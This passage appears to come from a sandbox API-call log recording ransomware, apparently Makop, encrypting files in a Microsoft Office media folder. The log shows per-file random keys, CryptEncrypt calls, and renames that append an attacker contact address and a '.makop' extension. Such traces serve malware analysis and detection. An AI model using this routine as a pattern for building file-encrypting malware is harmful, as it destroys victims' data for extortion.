[0163.697] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x11c0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x11c0, lpOverlapped=0x0) returned 1 [0163.698] CryptDestroyKey (hKey=0x48c7128) returned 1 [0163.698] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1294, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.698] SetEndOfFile (hFile=0xf0) returned 1 [0163.704] GetProcessHeap () returned 0x48a0000 [0163.705] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0163.705] GetProcessHeap () returned 0x48a0000 [0163.705] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0163.705] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0251925.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 108 [0163.705] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0251925.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0251925.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0251925.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0251925.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0163.707] CloseHandle (hObject=0xf0) returned 1 [0163.707] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb8de800, ftCreationTime.dwHighDateTime=0x1beb2f7, ftLastAccessTime.dwLowDateTime=0xbd5ab520, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xfb8de800, ftLastWriteTime.dwHighDateTime=0x1beb2f7, nFileSizeHigh=0x0, nFileSizeLow=0x158c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0252349.WMF", cAlternateFileName="")) returned 1 [0163.707] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0252349.WMF") returned 61 [0163.707] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0252349.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0252349.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0163.708] GetProcessHeap () returned 0x48a0000 [0163.708] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0163.708] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0163.708] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0163.709] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0163.713] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0163.713] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0163.713] GetProcessHeap () returned 0x48a0000 [0163.713] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0163.713] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0163.713] CryptDestroyKey (hKey=0x48c7128) returned 1 [0163.713] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0163.713] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0163.713] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0163.713] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0163.714] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0163.714] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0163.714] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0163.714] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0163.714] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.714] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x158c, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x158c, lpOverlapped=0x0) returned 1 [0163.716] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1590, dwBufLen=0x1590 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1590) returned 1 [0163.716] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.716] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1590, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1590, lpOverlapped=0x0) returned 1 [0163.716] CryptDestroyKey (hKey=0x48c7128) returned 1 [0163.716] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1664, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.716] SetEndOfFile (hFile=0xf0) returned 1 [0163.724] GetProcessHeap () returned 0x48a0000 [0163.724] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0163.724] GetProcessHeap () returned 0x48a0000 [0163.724] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0163.724] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0252349.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 108 [0163.724] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0252349.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0252349.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0252349.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0252349.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0163.726] CloseHandle (hObject=0xf0) returned 1 [0163.726] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3fdf2000, ftCreationTime.dwHighDateTime=0x1beccca, ftLastAccessTime.dwLowDateTime=0xbd5ab520, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3fdf2000, ftLastWriteTime.dwHighDateTime=0x1beccca, nFileSizeHigh=0x0, nFileSizeLow=0xed0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0278882.WMF", cAlternateFileName="")) returned 1 [0163.726] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0278882.WMF") returned 61 [0163.726] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0278882.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0278882.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0163.727] GetProcessHeap () returned 0x48a0000 [0163.727] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0163.727] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0163.727] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0163.727] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0163.727] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0163.727] GetProcessHeap () returned 0x48a0000 [0163.727] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0163.728] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0163.728] CryptDestroyKey (hKey=0x48c7128) returned 1 [0163.728] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0163.732] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0163.732] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0163.732] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0163.732] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0163.733] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0163.733] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0163.733] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0163.733] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.733] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xed0, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xed0, lpOverlapped=0x0) returned 1 [0163.733] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xed0, dwBufLen=0xed0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xed0) returned 1 [0163.733] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.734] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xed0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xed0, lpOverlapped=0x0) returned 1 [0163.734] CryptDestroyKey (hKey=0x48c7128) returned 1 [0163.734] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xfa4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.734] SetEndOfFile (hFile=0xf0) returned 1 [0163.740] GetProcessHeap () returned 0x48a0000 [0163.740] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0163.740] GetProcessHeap () returned 0x48a0000 [0163.740] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0163.740] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0278882.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 108 [0163.740] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0278882.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0278882.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0278882.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0278882.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0163.742] CloseHandle (hObject=0xf0) returned 1 [0163.742] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecd0c800, ftCreationTime.dwHighDateTime=0x1bee443, ftLastAccessTime.dwLowDateTime=0xbd5ab520, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xecd0c800, ftLastWriteTime.dwHighDateTime=0x1bee443, nFileSizeHigh=0x0, nFileSizeLow=0x4ffa, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0281904.WMF", cAlternateFileName="")) returned 1 [0163.742] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0281904.WMF") returned 61 [0163.742] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0281904.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0281904.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0163.743] GetProcessHeap () returned 0x48a0000 [0163.743] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0163.743] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0163.743] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0163.744] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x6, lpOverlapped=0x0) returned 1 [0163.748] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0163.748] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0163.748] GetProcessHeap () returned 0x48a0000 [0163.748] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0163.748] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0163.748] CryptDestroyKey (hKey=0x48c7128) returned 1 [0163.748] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0163.748] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0163.749] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0163.749] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0163.749] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0163.749] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0163.749] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0163.749] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0163.749] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.749] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x4ffa, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x4ffa, lpOverlapped=0x0) returned 1 [0163.751] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x5000, dwBufLen=0x5000 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x5000) returned 1 [0163.751] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.751] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x5000, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x5000, lpOverlapped=0x0) returned 1 [0163.752] CryptDestroyKey (hKey=0x48c7128) returned 1 [0163.752] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x50d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.752] SetEndOfFile (hFile=0xf0) returned 1 [0163.758] GetProcessHeap () returned 0x48a0000 [0163.758] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0163.758] GetProcessHeap () returned 0x48a0000 [0163.758] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0163.758] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0281904.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 108 [0163.758] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0281904.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0281904.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0281904.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0281904.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0163.759] CloseHandle (hObject=0xf0) returned 1 [0163.760] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1a4f200, ftCreationTime.dwHighDateTime=0x1bed3d9, ftLastAccessTime.dwLowDateTime=0xbd5d1680, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe1a4f200, ftLastWriteTime.dwHighDateTime=0x1bed3d9, nFileSizeHigh=0x0, nFileSizeLow=0x4dc6, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0283209.GIF", cAlternateFileName="")) returned 1 [0163.760] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0283209.GIF") returned 61 [0163.760] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0283209.GIF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0283209.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0163.762] GetProcessHeap () returned 0x48a0000 [0163.762] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0163.762] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0163.762] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0163.762] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xa, lpOverlapped=0x0) returned 1 [0163.767] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0163.767] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0163.767] GetProcessHeap () returned 0x48a0000 [0163.767] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0163.767] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0163.767] CryptDestroyKey (hKey=0x48c7128) returned 1 [0163.767] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0163.767] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0163.767] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0163.768] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0163.768] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0163.768] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0163.768] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0163.768] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0163.768] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.768] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x4dc6, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x4dc6, 